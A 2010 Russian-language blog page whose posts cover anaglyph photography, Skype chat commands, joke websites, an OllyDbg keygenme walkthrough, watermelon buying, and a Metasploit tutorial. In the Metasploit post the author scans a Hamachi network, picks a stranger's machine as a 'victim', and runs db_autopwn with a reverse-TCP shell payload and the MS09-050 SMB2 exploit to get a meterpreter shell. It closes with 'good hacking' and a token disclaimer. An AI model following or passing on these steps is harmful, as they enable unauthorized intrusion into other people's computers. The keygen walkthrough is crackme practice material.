0

Съемка и создание анаглиф-фото (3-d фото)

Posted by elimS on Июн 29, 2010 in Фото
Google Buzz

Оказывается 3-в фотографии делаются довольно легко. Нашел вот на этом блоге.

3d фото

В данном записи я опишу свой путь съемки и создания таких снимков.

Съемка

Для съемки желательно иметь штатив, хотя можно обойтись и без него. Сначала снимаем объект с одной позиции, а затем перемещаем камеру вправо на сантиметров 6-15 и снова снимаем (где-то читал, что расстояние должно соответствовать расстоянию между глазами человека, но иногда немного большее расстояние дает лучший результат.Главное не поворачивайте камеру при перемещении – она должна быть просто переставлены. По сути мы имитируем изображение которое видит левое и правое глаз человека.

Вот небольшая схема для понимания процесса:

Схема зйомки анагліф фото

Такие два снимки получены:

Два знімки

Разница малозаметная, но она есть. Далее соответственно переходим к процессу создания самого анаглиф-изображение.

Создание

И так открываем свои два фото в фотошопе и размещаем правое фото (вторая позиция съемки) над левым. Добавляем немного прозрачности правом фото – это нужно для выравнивания обеих картинок по определенному элементу. Я свои два снимка совмещал по вилке велика (остальные могут не совпадать):

Велік

Далее убираем прозрачность с правой фото и переходим в его режим смешивания слоев, где снимаем одну галочку:

Режим змішування шарів

Сразу после снятия галочки получаем анаглиф-фото. Теперь остается обрезать наше фото по вкусу и можно созерцать через анаглиф-очки:

Готове анагліф-фото

Еще можно сделать наше фото черно-белым (мне так больше нравится). Для этого нужно применить комбинацию клавиш Ctrl + Shift + U для каждого слоя отдельно (для левого и правого).

Все настолько просто, что аж ппц. Плодотворных созданий анаглиф-фото. ;)

Источник

Метки: ,

 
0

Список команд чата Skype

Posted by elimS on Июн 29, 2010 in Полезное, Софт
Google Buzz

 Список команд чата Skype

Набрел на полезную статью на хабрахабре. Копирую ее сюда:

…Skype — это дьявольски хитрая программа, написанная бесспорно талантливыми людьми…©Крис Касперски

Доброго времени суток!

Skype сейчас я встречаю чаще на компьютерах чем другие IM клиенты, мне он практически заменил icq, вся рабочая переписка ведется в skype, но речь пойдет не о том что лучше или популярней. Часто бывает так что участвуешь сразу в нескольких чатах где количество участников превышает 10, что собственно и приводит к тому, что на рабочем столе и в трее постоянно обновляется количество новых сообщений, а так же уведомления в виде всплывающих сообщений, а теперь представьте что у вас 3 окна чата с друзьями, 1 с вашим боссом, другой с девушкой — все это в сумме начинает запутывать, отвлекать и порой раздражать. Хотелось бы расставить приоритеты…

Раньше я чаще всего настраивал «политику» уведомлений только через глобальные настройки программы
Случилось так что я узнал что в каждом окне чата skype возможно использование команд, например/alertsoff отключит уведомления для конкретного окна чата, соответственно /alertson включит их обратно.
Поискав немного я наткнулся на некое how-to, оказывается у skype чата довольно много текстовых команд, подобие IRC команд. Далее я постарался попробовать все возможные из них на двух имеющихся у меня платформах, как оказалось не все и не везде работает… Прошу под кат.


Две платформы — Windows и Linux, в настоящем обзоре использовалась Windows 7 сборка 7600 + skype 4.2.0.169 и Ubuntu 10.04 + skype 2.1.0.81. Если кто выяснит как себя ведут данные команды в skype других версиях, для других платформ или даст еще какие-то подробности по данным командам (к сожалению не со всем удалось разобраться) — буду рад если сообщите и добавлю в топик.

Итак:

Учтите то что вам нет надобности использовать квадратные кавычки вокруг текста после написания комманды.

/help
Вывод списка команд с некоторым описанием.
Работает как в Win7 так и в Ubuntu.

/add [Skype_Name]
Добавляет пользователя Skype_Name к чату.
Win7 — работает, при этом если чат был изначально с 1 собеседником, групповой чат создается в новом окне, иначе контакт добавляется в это же окно.
Ubuntu — работает групповой чат создается в окне в котором была введена команда.

/alertsoff
Отключение уведомлений чата.
Работает как в Win7 (в win версии через GUI настройки) так и в Ubuntu.

/alertson [text]
Позволяет указать конкретно слова или текст для которых будут включены уведомления, например ваше имя.
Работает как в Win7 так и в Ubuntu.

/call [Skype_Name]
Судя по описанию данная команда должна совершить звонок.
Win7 — не работает, показывает список команд так же как и команда /help и все другие команды или слова в формате «/^\/([a-zA-Z])+$/» то есть если команда не известна skype то он выдаст список «известных» но как оказалось что не все работают.
Ubuntu — почти не работает, звонок начинает совершаться и сразу же статус становится Cancelled. Что касается остальных произвольных написаний «/^\/([a-zA-Z])+$/» не вызывает хелп список — просто отображает введенный пользователем текст.

/clear
Удаляет историю чата. Не может быть отменено.
Win7 — не работает.
Ubuntu — работает, но похоже очищает просто окно чата, история сохраняется.

/find [text]
Регистронезависимый поиск первого вхождения text в чате.
Win7 — работает.
Ubuntu — работает. Так же работает /fa команда.

/get banlist
Просмотр списка пользователей которым запрещено присоединяться к чату.
Работает как в Win7 так и в Ubuntu.

/get allowlist
Просмотр списка пользователей которым разрешено присоединяться к чату.
Я пологаю что это инверсная форма бан-лилста, то есть все что не разрешено — запрещено.
Работает как в Win7 так и в Ubuntu.

/get creator
Просмотр информации о создателе текущего чата.
Работает как в Win7 так и в Ubuntu.

/get guidelines
Просмотр указаний или скорее правил для данного чата, сюда можно написать что то вроде: «в этом чате запрещено и т. д.».
Работает как в Win7 так и в Ubuntu. Установить получилось параметр, а как просмотреть данный guideline я так до конца и не понял.

/get xguidelines
Описания конкретного не нашел, дела обстоят в использовании так же как и с предыдущей командой.
Работает как в Win7 так и в Ubuntu

/get options
Просмотр установленных опций. за время обзора нашел только одну, о которой описано в конце статьи.
Работает как в Win7 так и в Ubuntu

/get password_hint
Просмотр подсказки пароля, не получилось не установить не посмотреть.
Работает как в Win7 так и в Ubuntu

/get role
Просмотр своей роли в чате.
Работает как в Win7 так и в Ubuntu

/goadmin
Размещает теги рядом с создателям чата имя автора. Не понял и не сумел воспользоваться.
оригинал — Puts a Creator tag next to the chat creator’s name.

/history
Загружает полную историю чата в активное окно.
Win7 — не работает.
Ubuntu — загружает всю историю.

/htmlhistory
HTML файл истории который должен появится в окне браузера.
Win7 — не работает.
Ubuntu — не работает.

/info
Отображает количество присутствующих и максимально возможное для этого чата количество человек.
К сожалению не узнал как изменить количество, опции не нашел.
Работает как в Win7 так и в Ubuntu

/kick [Skype_Name]
Удаляет пользователя из чата.
Win7 — работает.
Ubuntu — работает.

/kickban [Skype_Name]
Удаляет пользователя из чата и предотвращает его обратное туда возвращение. Обычные пользователи не могут вернуть как и редактировать банлист.
Win7 — работает.
Ubuntu — работает.

/leave
Покинуть чат. Не возможно если вы создатель чата.
Win7 — работает. Даже если я создатель, удалось покинуть чат.
Ubuntu — аналогично.

/me
Выводит ваше имя в тексте сообщения, может быть использовано к примеру в таком случае: «/me считает что так должно быть, а не иначе».
Win7 — работает.
Ubuntu — работает.

/set allowlist [[+|-]mask]
Устанавливает соответствующий список пользователей
Win7 — работает.
Ubuntu — работает.

/set banlist [[+|-]mask]
Устанавливает соответствующий список пользователей
Win7 — работает.
Ubuntu — работает.

/set guidelines [text]
Устанавливает строку «правил» чата, которую я так и не увидел как просмотреть не используя команды /get -/-.
Win7 — работает.
Ubuntu — работает.

/set xguidelines [text] — по просту не нашел, хотя странно то что обратная команда /get для нее существует.

/set options
Устанавливает опции чата.
USERS_ARE_LISTENERS вот эта единственная которую я знаю, но скорее всего их больше.
эта опция запрещает всем пользователям писать сообщения в этот чат, но действует эта опция не на всех пользователей, ниже будет приведена иерархия ролей с описанием. Уже успел поиздеваться над друзьями исользуя эту функцию.
Win7 — работает.
Ubuntu — работает.

/set password [text]
Устанавливает пароль чата (пробелы запрещены).
Win7 — работает, но не понятно где этот пароль нужно вводить и кому.
Ubuntu — аналогично.

/set password_hint [text]
Устанавливается подсказка для пароля.
Win7 — работает.
Ubuntu — работает.

/setpassword [password] [password hint]
Устанавливает пароль и подсказку одной командой.
Win7 — работает.
Ubuntu — работает.

/setrole [Skype Name] MASTER | HELPER | USER | LISTENER
Позволяет установить роль пользователю в чате описание ролей приведено ниже.

/topic [text]
Изменяет текст темы чата.

/whois [Skype_Name]
Показывает всевозможную информацию о пользователе Skype_Name.

Описание ролей пользователей чата
CREATOR
Участник который создал чат. Может быть только один создаль для одного чата. Только создатель может назначать роль MASTER.

MASTER
В описании звучит как «chat hosts», я полагаю что это некая главная роль, что-то вроде модераторов в чате, знаю только ограничения. Master не может назначить других пользователей мастерами.

HELPER
Полу-привилегированный член чата. Этих пользователй не затронет опция USERS_ARE_LISTENERS. Helpers не имеют права менять роли пользователям.

USER
Обычный пользователь чата (роль по умолчанию, если вы не создатель), позволяет делать все что обычно делают в чате. Так же не имеют права менять роли пользователям (пока не проверено).

LISTENER
Пользователь который может читать сообщения из чата, но не имеет права писать сообщения в этот чат.

APPLICANT
Пользователь который ждет утверждение что бы попасть в чат. Пользователь не может быть понижен к этой роли если он был принят в чат. (пока не разрешен вопрос скорее эту роль получает пользователь которого пригласил пользователь с ролью низкого уровня).

В заключении могу сказать, что я не буду пользоваться всеми этими командами, но познакомится было интересно и что-то я точно возьму на вооружение. Судя по различиям в реакции на команды в разных версиях, могу предположить что эволюционируя skype обретает больше графического интерфейса и теряет возможность выполнять какие-то текстовые команды. Опять же мое предположение что в ранних версиях skype поддержка команд чата была более кошерной. Так или иначе еще есть время воспользоваться данным не всем известным функционалом. Был рад если это открыло для кого-нибудь что-то новое, спасибо за внимание!

UPD ниже будут обновления по теме.

/get uri
Возвращает ссылку на чат в виде skype:?chat&blob=smth, при клике на которую можно сразу присоединиться к чату.
Win7 — работает.
Ubuntu — работает.

Запись дополняется, в комментариях советуют другие команды. Потому заглядывайте на  источник

Метки: ,

 
2

5 самых полезных сайтов =)

Posted by elimS on Июн 24, 2010 in Отдых, Ресурсы
Google Buzz

colorflip.com

Переворачиватель страниц. Бесплатно, в браузере, в разные стороны. Переворачивать страницы можно не только по горизонтали, как принято, но по вертикали и диагонали, как не принято.

flip 5 самых полезных сайтов =)

computerpowertest.com
Онлайн-детектор, автоматически определяющий, включен ли в настоящий момент компьютер пользователя или нет, и определенно заслуживающий закладку.

power 5 самых полезных сайтов =)

nooooooooooooooo.com
Виртуальная синяя кнопка с бликами, на которую, включив звук, следует нажать в самом крайнем случае.

nooo 5 самых полезных сайтов =)

istodayfriday.com
Фрайдис ремайндер — подсказывает, пятница ли сегодня. Cегодня сервис сообщил нам, что сегодня не пятница.

friday 5 самых полезных сайтов =)

istodayfridaythe13th.com
Более тонкая версия пятничного напоминателя — напоминатель пятницы, 13-го числа. Авторы предусмотрели подписку по RSS и в Твиттере. Это очень удобно. В обычные дни вы два раза в день получаете сообщение «Сегодня не пятница, 13-е. Сегодня такое-то число. Уф». А в пятницу, 13-го — «Сегодня пятница и 13-е число. Сегодня пятница 13-е!».

issue/2010/03/16/friday2.gif

В комментаторскую приглашаются другие полезные сайты.

источник

 
0

Metasploit Framework Episode 1

Posted by elimS on Июн 24, 2010 in Статьи
Google Buzz

Author: desp0s
Source: forum.nrg-team.org

spacer Metasploit Framework Episode 1 spacer Metasploit Framework Episode 1 spacer Metasploit Framework Episode 1
spacer Metasploit Framework Episode 1
Всем доброго времени суток! Данную статью я посвящаю всеми известному фрэймворку Metasploit. Итак, преступим.

Скажу сразу, нам понадобится любая версия сканнера Nmap, ну и сам фрэймворк. Скачать который можно на сайте metasploit.com

На момент написания статьи в виндовой версии metasploit’а уже отсутствовал GUI интерфейс, что радует, а версия ядра была 3.4.1-dev.

В самом фрэймворке присутствует 552 эксплоита, чем мы и будем пользоваться.

Существует много разных способов взлома системы, и metasploit даёт нам возможность, не опираясь на какую-либо Ось, взламывать.

Мы уже установили Nmap и Metasploit, поэтому сразу запускаем msfconsole, которая в винде появилась на рабочем столе, впрочем можно запускать и из рабочей диры. Перед нами диалоговое окно…

Msf >

Для начала, необходимо подключить драйвер БД, которую мы создадим чуть позже. Она понадобится нам для хранения данных сканирования Nmap’а.

Msf > db_driver sqlite3

Затем нашу БД необходимо создать.

Msf > db_create Test

Вместо слова ‘Test’ можно написать любое слово, лишь бы радовало.

В ответ Метасплоит выведет инфу о том как успешно создалась БД и, впрочем, мы к ней подключились.

Далее следует недолговременное сканирование хоста (хостов).

Msf > db_nmap [опции, необходимые для скана] [наш хост]

Так же отмечу, что довольно проблематична у многих работа с данным фрэймворком, сидящих за NAT’ом.

Я как раз из их числа, поэтому я подключился к Hamachi (очень популярная VPN). Зашел в сеть Playground’а и начал искать жертву. Всё это из-за того, что адресация в Метасплоите, когда сидишь за NAT’ом, идет на твой внутренний ip, а поскольку мы действуем в рамках сети, адресация идёт на ip, который присвоил нам Hamachi.

Жертва найдена, и я начал скан.

Msf > db_nmap 5.68.22.*

При этом не указывая никаких дополнительных параметров только потому что в этом не было необходимости. Хотя в некоторых случаях без этого не обойтись.

После недлительного сканирования, Метасплоит выдал мне информацию об удалённом хосте. Выглядела она примерно так:

Код:
Nmap scan report for 5.132.63.54
  Host is up (0.096s latency).
  Not shown: 987 closed ports
  PORT      STATE SERVICE
  80/tcp    open  http
  135/tcp   open  msrpc
  139/tcp   open  netbios-ssn
  443/tcp   open  https
  445/tcp   open  microsoft-ds
  2869/tcp  open  unknown
  5357/tcp  open  unknown
  49152/tcp open  unknown
  49153/tcp open  unknown
  49154/tcp open  unknown
  49155/tcp open  unknown
  49156/tcp open  unknown
  49157/tcp open  unknown
  MAC Address: 7A:79:05:84:3F:36 (Unknown)
  Nmap done: 1 IP address (1 host up) scanned in 133.49 seconds
spacer Metasploit Framework Episode 1
spacer Metasploit Framework Episode 1 spacer Metasploit Framework Episode 1

Увидели порты, открытые на машине…

Далее, необходимо было убедиться, что данные попали в нашу БД Test.

Для этого выполняем следующую команду:

Msf > db_hosts

Метасплоит отобразит информацию, которую насканил нам Nmap.

Теперь сам хак.

Вручную чаще всего не имеет смысла подбирать сплоит, лучше оставить это дело Метасплоиту.

Msf > db_autopwn –p –e

Данная строчка означает, что Метасплоит будет атаковать машину по всем открытым портам (параметр –p за это отвечает). Так же он будет атаковать все хосты из нашей БД (параметр -e). Более детально разобраться с параметрами модуля autopwn можно, введя

Msf > db_autopwn –h

Итак, после ввода нашей команды

Msf > db_autopwn –p –e

Метасплоит принялся за работу… Начался, так сказать взлом. Он обнаружил, что 210 сплоитов подойдут к нашей жертве (должны подойти). Начинка же идёт meterpreter. Это особый, наиболее любимый, плагин, который в нагрузку несёт кучу жутко полезных возможностей.

После того, как Метасплоит применит все сплоиты, он начнёт их выгружать, здесь следует немного подождать. После полной его остановки, если же взлом прошел удачно, будет выведена информация об установленной сессии. Просмотреть все активные сессии можно командой

Msf > sessions –l

Видим, что метасплоит пробил Ось нашей жертвы и появилась сессия с id 1.

Впрочем бывает такое, он устанавливает даже 2 а то и несколько сессий с жертвой.

Чтобы войти с ней в непосредственный контакт, необходимо выполнить команду

Msf > sessions –i [id]
Msf > sessions –i 1

Теперь наша строчка выглядит как

meterpreter>

Вводим

meterpreter> help

видим список доступных команд.

Далее проверяем наши права в системе

meterpreter> getuid

И заходим в cmd

meterpreter> shell

Всё, мы в командной строке, далее всё зависит от нашей фантазии….

Удачного Хака wink3 Metasploit Framework Episode 1

Дополнительная инфа:
Описанным выше способом можно так же взламывать системы не подбором всех возможных сплоитов, а каким-нибудь одним, также можно выбрать подходящий нам Payload (начинку). Чтобы это сделать выполняем команду

Msf > db_autopwn –p –e –P [указываем Payload] –m [указываем наш сплоит]

Пример

Msf > db_autopwn –p –e –P windows/shell/reverse_tcp –m windows/smb/ms09_050_smb2_negotiate_func_index

=)

desp0s (c) NRG-Team.org

Внимание! Информация предоставлена исключительно в ознакомительных целях! Ни автор, ни администрация за ваши действия ответственности не несут!

spacer Metasploit Framework Episode 1

Метки:

 
0

Скрипт Irc Хелпера

Posted by elimS on Июн 23, 2010 in Софт
Google Buzz

eCitizen%20Helper%20mascot%20 %20big Скрипт Irc Хелпера

Попросили поделиться своим скриптом irc helper’a. Что это за скрипт? Следит за порядком на канале #help – банит за маты и флуд (эту часть кода я переделал со скрипта Ухо), а также имеет базу ответов на часто-задаваемые вопросы по поводу irc.

Качаем по ссылке архив и распаковываем его содержимое в папку mirc. Дальше подгружаем его в mirc. Как пользоваться объяснять не буду. Рассчитываю что скрипт может понадобиться только тем людям, которые знают что и как. Я почти уверен что вам понадобиться чуть-чуть скрипт подправить, например ник вашего хелп-бота прописать или что-то вроде этого.

Если возникнут вопросы – пишите в комментах.

Ссылка: http://dl.dropbox.com/u/7851690/helper.zip

Метки: ,

 
0

Реверсинг ASM KEYGENME#1

Posted by elimS on Июн 23, 2010 in Статьи
Google Buzz

Реверсинг ASM KEYGENME#1
Данный keygenme довольно простой, но тем не мнение, рассмотрим именно его, думаю новичкам будет интересно. В качестве отладчика будем использовать всеми любимый OllyDbg)) Скачать ASM KEYGENME#1 можно тут: http://crackmes.de/users/libertyordeath/libertyordeaths_asm_keygenme1/download
Из названия подопытного, ясно чем нам придется заняться.
Перед тем как его перейти к реверсингу, запускаем его, и смотрим как он работает. После чего открываем его в отладчике.
Видим что то непонятное вместо обычного нам вида, дизассемблированного кода.
Не трудно догадаться, что файл зашифрован, причем не очень хорошо. В самом начале видим прыжок на 004011AE, ПКМ – Follow. Попадаем на фрагмент кода дескриптора. Так как, сейчас нам это мало интересно, пропустим этот фрагмент, нажимаем F9. Запускается программа..
Дальше в отладчике, нажимаем Ctrl + A или ПКМ – Analysis – Analysis code;
После чего в окне отладчика появляется основной код, нашего keygenme :
722c4cad8204 Реверсинг ASM KEYGENME#1
Начнем пожалуй с того, что посмотрим WinAPi функции, используемые тут, нажимаем
Ctrl + N или Search for – Name(Label) in current module. Видим следующие:
a0c9e4363b5f Реверсинг ASM KEYGENME#1
Там интересны только, GetDlgItemTexaA ( получение текста, например из поля ввода..), MessageBoxA ( вывод сообщения) и на последок wsprintfA( сравнение строк), что уже на данном этапе дает нам понять, что кейгенми довольно простой.
Остановимся на GetDlgItemTexaA .
Выбираем его, после чего ПКМ – Toggle Breakpoint on Import. Теперь при вызове этой функции программой, произойдет ее остановка, дабы дать нам возможность “осмотреться”.
Переходим к нашей запущенной программе, вводим любое имя, с серийником, в моем случаи Fairhawk;123456, нажимаем «ОК».
После чего программа останавливается, т.к срабатывает наша точка останова, что бы убедиться в этом смотрим в нижний левый угол отладчика на строку состояния, и видим там: «Breakpoint at user32.GetDlgItemTexaA.
Смотрим что у нас находиться в стеке:
ddaa39536cc2 Реверсинг ASM KEYGENME#1
Давайте обратим внимание на выделенную зеленным цветом строчку. Тут указывается на некий буфер, куда по идеи должно занестись выполнение нашей функции. Выделяем данную строчку, и нажимаем ПКМ – Follow in Dump.
b704cd8a37f8 Реверсинг ASM KEYGENME#1
Видим что тут пока не чего нет, т.к мы остановили нашу программу только на начале функции, и она еще не успела выполниться. Нужно это исправить.
Выделяем строку где произошла наша остановка, и нажимаем F2, что снимет от туда Breakpoint.
После чего ставим новый, на конце этой функции:
da7469620cb2 Реверсинг ASM KEYGENME#1

Опять же нажатием F2 ( хотя если ты читаешь этот материал, то ты наверняка знаком с этим ;) ) ставим новую точку останова.
Нажимаем F9, и наш keygenme снова останавливается, но только уже на другом месте )
Снова смотрим на наш адрес в дампе..
962c846616ab Реверсинг ASM KEYGENME#1
Видим что, наша функция выполнилась, и теперь по адресу находиться то, что мы ввели в поле ввода «Name» !) Запоминаем адрес, думаю он нам пригодиться )
Убираем Breakpoint, и нажимаем F7 что бы выйти из функции.
Останавливаемся на строчке:
MOV DWORD PTR DS:[403100],EAX
Которая заносит результат выполнения функции ( в данном случаи количество строк), в «ячейку» по адресу 403100. После чего EAX обнуляется, командой :
XOR EAX,EAX.
Нажимаем ПКМ на MOV DWORD PTR DS:[403100],EAX– Follow Dump – Memory address. И видим что там тоже пусто. Но стоит нам выполнить данную команду нажатием F7, как видим там:
8fe826f7e1a8 Реверсинг ASM KEYGENME#1
Число 8, в моем случаи количество символов в слове «Fairhawk») Также «запоминаем» адрес.)
Чуть ниже, видите еще один вызов GetDlgItemTexaA, в точности похожею на первый:
fbd01a407b86 Реверсинг ASM KEYGENME#1
Красным цветом выделен, первый, нами разборный, вызов этой функции. Заметим так же, что тут в строчке :
PUSH ASM_KEYG.004030C0
И указывается, тот адрес, куда и заноситься наше имя, в моем случаи «Fairhawk»)
Во втором, вызове видим подобное:
PUSH ASM_KEYG.004030E0
Следовательно туда наверняка будет заноситься наш серийник . Давайте это проверим, ставим точку останова сюда:
ce3f18c4f4da Реверсинг ASM KEYGENME#1
Нажимаем F9. После чего ПКМ на PUSH ASM_KEYG.004030E0– Follow Dump –Immediate constant.
Как видите, наши предположения оправдались:
2c6725be3f31 Реверсинг ASM KEYGENME#1
Там действительно находиться наш серийный номер).
Убираем, точку останова, нажимаем ПКМ на MOV DWORD PTR DS:[403128],EAX– Follow Dump – Memory address, после чего F7,и видим что 403128 находиться число 6 ) длина нашего серийника).
Теперь осталось выяснить, где используется наши числа (6 и 8)…
Cделаем так, найдем в дампе первое (8), после чего выполняем следующие:
60e69c0d51da Реверсинг ASM KEYGENME#1
Это тот же Breakpoint, только ставиться он на определенный участок в дампе, который срабатывает при любом вызове к этому адресу. И так, убираем наш предыдущую точку останова, и нажимаем F9.
Останавливаемся тут:
eb3cc8c0b9ff Реверсинг ASM KEYGENME#1
Тут и видим CMP DWORD PTR DS:[403100],0 обращение к нашему адресу(где у нас находиться длина нашего имени – 8 ), в данном случаи, происходит проверка, «если по адресу 403100 находиться 0, то вывести пользователю не приятное сообщение).
Чуть выше тоже самое, но уже с адресом 403128 (длина поля для серийника – 6).
После того как программа убеждается, что поля не пустые, выполняется выделенный красным цветом код..
Перед тем как разбирать его, уберем наш Breakpoint , который расположен в дампе. Делается это так, ПКМ – Breakpoint- Remove memory Breakpoint, все )
Первые 4 строчки в выделенной рамки, Обнуляют ESI, ECX, а в EDX заноситься 0A (10);
Ну а после чего, собственно идет генерация гуд серийника ) . Весь его разбирать смысла я не вижу, так что расскажу только основные моменты.
MOVSX EAX,BYTE PTR DS:[ECX+4030C0] – Начало цикла, где берется первый символ нашего имени, после чего выполняется, сам алгоритм генерации ключа, до момента:
CMP ECX,DWORD PTR DS:[403100]
JNZ SHORT ASM_KEYG.00401137
Где проверяется, всели буквы были «пройдены» . После чего результат заноситься в стек, из регистров EDI и ESI.
Затем вызваться функция wsprintfA для преобразования, всего этого в нужный нам формат:
«LOD-%lu-%lX». Затем проверка на правильность нашего, и сгенерированного недавно ключа тут:
8563fded42d0 Реверсинг ASM KEYGENME#1
Поставим Breakpoint там, где это сделал я.
Нажмем F9.
И видим что нам приходиться сравнивать))
50181ca9e939 Реверсинг ASM KEYGENME#1
В String1 находиться нужный нам серийник).
CMP EAX,0
Если наш серийник правильный, то в EAX должен оказаться 0.
Давайте проверим это. Убираем точку останова, нажимаем F8(тоже самое что и F7, только не заходит внутрь функций).
efe08ce8781f Реверсинг ASM KEYGENME#1
Как видите зеленым выделено подтверждение того, что наш серийник не правильный, иначе бы там было 0 )). И флаг Z будет содержать 0, после чего выполниться переход выделенный синим цветом, к плохому сообщению, затем программа закроется.
Перед тем как писать не посредственно keygen давайте проверим то, что я сейчас сказал).
Нажимаем 2 раза F7, пока наш курсор не окажется на:
JNZ SHORT ASM_KEYG.00401191
Как видите, красная линия показывает что он выполниться, смотрим куда.. и видим что к не очень хорошему для нас сообщению.
Кликаем 2 раза на флаг Z, в правой части отладчика.
И видим что переход стал тусклым, что означает, что «прыжка» не будет, а вместо этого выполниться строчка под ним. Давайте посмотрим, нажимаем F9!!!
И как нашей радости видим что программа говорит нам, о том что серийник правельный)
Осталось только написать keygen. Все что нам для этого нужно, так это взять кусок кода генерации, а именно :
XOR ESI,ESI
XOR ECX,ECX
XOR EDX,EDX
MOV ECX,0
MOV EDX,0A
MOVSX EAX,BYTE PTR DS:[ECX+4030C0]
INC EAX
ADD EAX,EDX
ADD ESI,EAX
INC ECX
IMUL EDX,ECX
MOV EDI,EDX
IMUL EDI,ESI
CMP ECX,DWORD PTR DS:[403100]
JNZ SHORTASM_KEYG.00401137
И переделать под свои нужды.
Скачать написанный мной keygen на masm32 ты можешь скачать ТУТ: http://www.letitbit.tv/files/120555/asm_keygenme_1.asm . Он слегка сыроват, но зато исправно работает))
Из итог наверное то, что кто то укрепил свои знания в реверсинге, ну или дал лишний повод убедиться какой он крутой, сказав себе «Та, я это и так знаю»))))
В любом случаи удачи!)

Источник

 
0

Покупаем правильный арбуз

Posted by elimS on Июн 23, 2010 in Полезное, Рецепты
Google Buzz

Astrahanskaya%20obl 2 Покупаем правильный арбуз

Пункт номер ноль: выбирайте арбуз нужно самостоятельно, не стоит просить сделать это продавца. Не все люди настолько честны, чтобы подобрать самое лучшее, чаще стараются спихнуть некачественное или лежалое. Дальнейшие пункты как раз и описывают процесс самостоятельного выбора.

Пункт номер раз: чтобы арбуз доставил радость и удовольствие, надо помнить: лучшее время для покупки арбуза в России — это конец лета и осень. Если покупать арбуз раньше, например, в июле, то есть риск порадовать себя доброй порцией нитратов (он и позже остаётся, но об это ниже).

Пункт номер два: арбуз следует приобретать в специально предназначенных для торговли местах, в магазинах, а не на стихийных рынках. Ну по крайней мере, развал должен находиться подальше от дороги, особенно — трассы.

Пункт номер три: из арбузов одного сорта и одной партии лучше выбрать арбуз крупный, но не гигантский. Чем крупнее и при этом легче арбуз, тем он спелее. При выборе арбузов следует избегать слишком маленьких и слишком больших. Он должен быть чуть крупнее среднего размера арбузов в партии. Для крупных российских (так называемых астраханских сортов) вес должен быть больше 5 кг.

Пункт номер четыре: сухой хвостик — признак спелости. Созрев, арбуз прежде всего «отключается» от бахчи — у него пересыхает хвостик. Затем перестает вырабатываться уже ненужный ему пигмент хлорофилл, улавливающий солнечный свет и обеспечивающий дыхание и развитие растений, и под действием света появляются светлые пятна. Это верный признак того, что арбуз спелый. Правда, пересохший хвостик может говорить и о том, что его просто отрезали, а за несколько дней, пока арбуз везли на рынок, он высох поневоле. Потому сухой хвост надежда, но не гарантия зрелости. Надо обращать внимание не на сам хвостик, а на место его перехода в арбуз. Хвостик как шнурок прорастает из «пуговицы». Так вот края этой пуговицы и должны быть сухими, а не только хвостик. Зато мокрый зелёный хвост почти гарантия незрелого плода. Итак, не хвостик, а переход от хвостика к арбузу должен быть в виде сухой пуговицы.

Пункт номер пять: светлое пятно на боку, который отлежал арбуз, должно быть максимально желтым, даже оранжевым. Если арбуз был в хороших условиях и дозрел, он мог позволить себе подбросить хлорофилл даже в неосвещаемые места (с жиру). Поэтому пятнышко блёклое – сырой арбуз, ярко оранжевое (даже тёмно оранжевое) – почти гарантия зрелости.

Пункт номер шесть: полосатая корка должна быть максимально контрастной. Поверхность должна быть гладкой без трещин, пятен и точек (точки и пятна могут свидетельствовать об инъекциях).

Пункт номер семь: спелый арбуз обязательно покрыт твердой блестящей коркой, которую трудно проткнуть ногтем, а все потому, что, отключившемуся от мамы-бахчи сынку-арбузу больше негде взять ни воды, ни минеральных веществ. Всё! Автономное существование. В буквальном смысле слова – «подводная лодка в степях Украины». Арбуз растёт только там, где явно жарко. А кто был на юге, тот понимает — лежать много дней на солнцепёке без воды невозможно. Высохнешь. Арбуз же умудряется не высохнуть даже за много недель. А дело всё в том, что он не испаряет со своей поверхности воду. Для этого он и покрывается кутикулой. А вот если ноготь легко протыкает арбузную кожу — значит плод сырой, незрелый. Можно еще потереть корку и понюхать: запах свежескошенной травы тоже говорит о некондиционности. Лирическое отступление: некий ресурс по данному пункту даёт прямо противоположную информацию. Такие парадоксы случаются частенько, интернет вообще часто состоит из взаимоисключающих параграфов. Правильным всё же стоит считать изложенный мной вариант, так как он подтверждается множеством статей на тему, личным опытом, да и просто здравым смыслом. Этот ресурс, кстати, противоречит и следующему пункту (довольно распространённому тесту, между прочим). Но вернёмся к делу.

Пункт номер восемь: спелый арбуз всегда пружинит под ударом и иногда резонирует при похлопывании. Делается это так – арбуз кладётся на ладонь левой руки. Правой рукой наносятся рикошетирующие шлепки по его боку. Сверху вниз, снизу вверх. Арбуз должен отдаваться в левой руке, как настоящий степной зверь — «драться».

Пункт номер девять: можно приложить арбуз к уху и изо всех сил сдавить его руками (предварительно проверив, нет ли под коркой Волка:)). У спелой ягоды кожура немного прогнется и затрещит. Хороший тест. Правда, только по отношению к арбузам, не подвергшимся длительному путешествию. При транспортировке внутренность нормальных арбузов разбалтывается и ослабляется. После чего почти все нормальные перестают трещать. А вот внутренность посредственных таки трещать начинает.

Пункт номер десять: Спелый арбуз не бывает излишне тяжёлым. Когда арбуз созревает, удельная плотность его изменяется в меньшую сторону. Чтобы проверить арбуз на спелость, его можно бросить в воду, всплывет — значит спелый.

Пункт номер одиннадцать: арбуз — двуполая ягода. У «мужской» особи низ ягоды («попка») выпуклый, а кружочек на ней маленький. У «девочек» («арбузих») низ более плоский, а кружок широкий. «Девочки» считаются вкуснее: косточек в них меньше, а сахара больше.

Пункт номер двенадцать: не покупайте прокисших или почти прокисших арбузов. Процесс перезревания начинается в арбузе и без доступа воздуха. Хоть аэрофильные бактерии и не могут так уж бодро размножаться во внутренней полости неповреждённого плода. Если его надрезать процесс пойдёт очень быстро и за пол дня арбуз успевает испортится. Поэтому особое внимание обращайте на отсутствие вибрации. Ты его шлёп, а он никакой. Как говорится — «интактно». Звук глухой, словно от подушки. И в руках ощущение, что это не арбуз, а пакет с водой. Скорее всего, или битый, иногда снаружи повреждений не видно, или вот-вот «представится», или уже прокисший. Многие покупатели пытаются что-то определить, пощёлкивая пальцами по арбузу. Арбуз — не скрипка (кстати, скрипку такими щелчками диагностировать, только перед мастером позориться). Метод этот годиться только для небольших фруктов и овощей. Лук крепкий, картофель не вялый, яблоко звенящее, а не «пыкающие», как кусок пенопласта, всегда более свежее и сочное. С арбузом это не проходит. Не та масса. Не те частоты. Нужно ладонью. Должен быть слышен не глухой, а чистый, звонкий звук.

Пункт номер тринадцатьлучше не брать арбуз с вырезом.

Далее мы попробуем определить, не хорош ли наш арбуз только от того, что его накачали нитратами. Вот признаки этой самой накачанности:

Раз: интенсивно красный цвет мякоти с небольшим фиолетовым оттенком;

